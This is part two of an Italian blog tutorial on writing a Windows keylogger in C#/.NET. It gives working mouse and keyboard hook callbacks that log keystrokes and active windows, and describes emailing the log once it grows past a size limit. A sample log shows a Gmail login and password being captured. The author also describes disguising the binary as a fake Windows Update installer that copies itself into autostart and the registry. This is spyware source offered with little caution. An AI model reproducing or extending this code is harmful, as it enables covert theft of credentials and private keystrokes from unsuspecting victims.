Thursday, December 15, 2011

Keylogger in .NET (parte2)


2 - Azione Catturata
Senza perdere troppo tempo in parole, vediamo subito come può essere implementato il metodo MSHookCallback.

  private static IntPtr MSHookCallback(int nCode, IntPtr wParam, IntPtr lParam)   
    {   
     IntPtr ptr = IntPtr.Zero;   
     try   
     {   
      if (nCode >= 0 && wParam == (IntPtr)WM_MOUSEBUTTONDOWN)   
      {   
       //Converto lParam in un oggetto MSLLHOOKSTRUCT che contiene le coordinate della finestra cliccata  
       MSLLHOOKSTRUCT hookStruct = (MSLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(MSLLHOOKSTRUCT));   
       IntPtr wHndl = WinAPI.WindowFromPoint(hookStruct.pt); //Recupero l'handle della finestra  
       uint procID = 0;   
       WinAPI.GetWindowThreadProcessId(wHndl, out procID); //Finalmente recupero l'ID del processo   
       Process pAlClick = Process.GetProcessById(Convert.ToInt32(procID)); //Recupero il processo associato   
       //Con questa serie id controllo che ID processo non è 0 (idle) e la finestra non è la stessa di prima (per evitare ridondanze di log)  
       //Inoltre decido di non loggare il processo il cui ModuleName ha explorer. Sempre per le ridondanze   
       if ((oldProcessID != 0 && pAlClick.MainWindowTitle != oldTitleProcess) || oldProcessID == 0)   
       {   
        if (pAlClick.Id != 0 && !pAlClick.MainModule.ModuleName.ToLower().Contains("explorer"))   
        {   
         //Loggo  
         WriteToFile(pAlClick.MainModule.ModuleName, EventType.NewProcess, ref pAlClick);   
        }  
        //Mi conservo il processo corrente per futuri controlli   
        oldProcessID = pAlClick.Id;   
        oldTitleProcess = pAlClick.MainWindowTitle;   
       }   
       pAlClick = null;   
      }   
     }   
     catch   
     {   
      WriteToFile("-ERR-", EventType.Key, ref dummy); //Errore  
     }   
     finally   
     {   
      Collect(); //GC  
      //Con questo metodo chiamo il prossimo hook facente parte della catena (vedi qui)  
      ptr = WinAPI.CallNextHookEx(_hookMSID, nCode, wParam, lParam);   
     }   
     return ptr;   
    }   
}
e ora l'altra callback KBHookCallback per la tastiera:

private static IntPtr KBHookCallback(int nCode, IntPtr wParam, IntPtr lParam)   
    {   
     IntPtr ptr = IntPtr.Zero;   
     try   
     {   
     //In caso di pressione prolungata di A col KEYDOWN visualizzerei AAAAAA, con KEYUP A.   
     if (nCode >= 0 && wParam == (IntPtr)WM_KEYUP)  
      {   
       //lParam in questo caso è il tasto premuto  
       int vkCode = Marshal.ReadInt32(lParam);  
       //Non resta che passarlo al metodo di Log e il gioco è fatto   
       WriteToFile(((Keys)vkCode).ToString(), EventType.Key, ref dummy);   
      }   
     }   
     catch   
     {   
      WriteToFile("-ERR-", EventType.Key, ref dummy);   
     }   
     finally   
     {   
      //Vedi su  
      Collect();   
      ptr = WinAPI.CallNextHookEx(_hookKBID, nCode, wParam, lParam);   
     }   
     return ptr;   
    }   

3 - Controllo File
Ricordo che il file viene scritto con il metodo WriteToFile che accetta in ingresso un EventType che ne direziona il comportamento. Se è un EventType.NewProcess stamperà al file in append, una stringa  particolare con titolo processo, nome del file e argomenti. Se è un EventType.Key scrivo tutti i caratteri consecutivi, con lo spazio li separo, con INVIO vado a capo di riga e i tasti speciali li segnalo con le parentesi quadre es. [CTRL].

Tutta via KL prevede un timer che controlla il file.
Se la grandezza è maggiore di (es) 300Kb allora creo la mail e se riesco ad inviarla cancello il file in locale.
Se non ci riesco continuo ad "appendere" il log. Essendo KL un eseguibile unico (1 file) le configurazioni della mail sono inglobate nel codice.


4 - End
Se tutto va bene e il programma passa di qui, si riuscirà a staccare gli hook al sistema.
       WinAPI.UnhookWindowsHookEx(_hookKBID);  
       WinAPI.UnhookWindowsHookEx(_hookMSID);  

Output
Questo è un possibile risultato ottenibile con KL .

1:  **** 15/12/2011 04.18.13 - PROCESS - [NEW SESSION] WinUpdx86.exe ******** - C:\Documents and Settings\cns_maro\Desktop\KL\KL\bin\Release\WinUpdx86.exe   
2:  **** 15/12/2011 04.18.18 - PROCESS - devenv.exe ******** KL (Running) - Microsoft Visual Studio - C:\Program Files\Microsoft Visual Studio 8\Common7\IDE\devenv.exe   
3:  **** 15/12/2011 04.18.27 - PROCESS - chrome.exe ******** Blogger: A day of requiem... - Modifica post - Google Chrome - C:\Documents and Settings\OSCURATO\Local Settings\Application Data\Google\Chrome\Application\chrome.exe   
4:  **** 15/12/2011 04.18.27 - PROCESS - chrome.exe ******** Nuova scheda - Google Chrome - C:\Documents and Settings\OSCURATO\Local Settings\Application Data\Google\Chrome\Application\chrome.exe   
5:  A [LControlKey] MAIL [OemPeriod] GOOGL [OemPeriod] E [Back] [Back] E [OemPeriod] COM  
6:  **** 15/12/2011 04.18.37 - PROCESS - chrome.exe ******** Gmail: l'email di Google - Google Chrome - C:\Documents and Settings\OSCURATO\Local Settings\Application Data\Google\Chrome\Application\chrome.exe   
7:  INSERISCO USERNAME PASSWORD  

Si può vedere come l'utente corrente vada tramite il browser Chrome su "gmail.com" e successivamente inserisce username e password. Notare come vengono gestiti i tasti speciali. Il framework li riporta così: [OemPeriod] il punto, [Back] il Backspace. Penso che un vero keylogger debba tener conto anche delle cancellature e di tutto il resto. Semmai sarebbe più opportuno gestire i tasti SHIFT e le maiuscole che attualmente in questa (se così possiamo chiamarla) "versione" non ci sono.

Se io digito "Ciao" tenendo lo shift premuto, l'output di KL sarà C [LShiftKey] IAO.

Quindi nella riga 5 abbiamo un CONTROL+A e successivamente digitato "GOOGL.E" backspace, backspace, ("GOOGL") , digito successivamente "E.COM".
A riga 6 vediamo che la pagina è cambiata. Alla riga 7 digito la password.

Performance e implementazioni
Per quanto riguarda le performance è ovvio che da .NET non si può pretendere troppo.  Nonostante ciò devo dire che KL riesce davvero nell'intento di essere trasparente all'utente,  essendo davvero in background senza dare noia.

Come farlo lanciare, diffonderlo... beh lascio allo sviluppatore pazzo il compito.
Io... (come si può vedere anche dal log) ho buildato un WinUpdx86.exe con un icona che ricorda molto un installer di un WindowsUpdate. Al click sull'"installer fasullo" apparentemente non succede niente. In realtà il programma si è "autocopiato" in una cartella su programmi, in esecuzione automatica e sul registro è stata immessa la chiave che lo fa partire. Dato che il mio interesse su questo programma arriva fino ad un certo punto non vi dico che sono stato a gestire tutte le eccezioni possibili, però c'è da dire che i presupposti per creare un software malevolo ci son tutti.

Detto questo.... se vedrete mai processi chiamati WinUpdx86 :P sappiate che non sarò stato io :)

No comments:

Post a Comment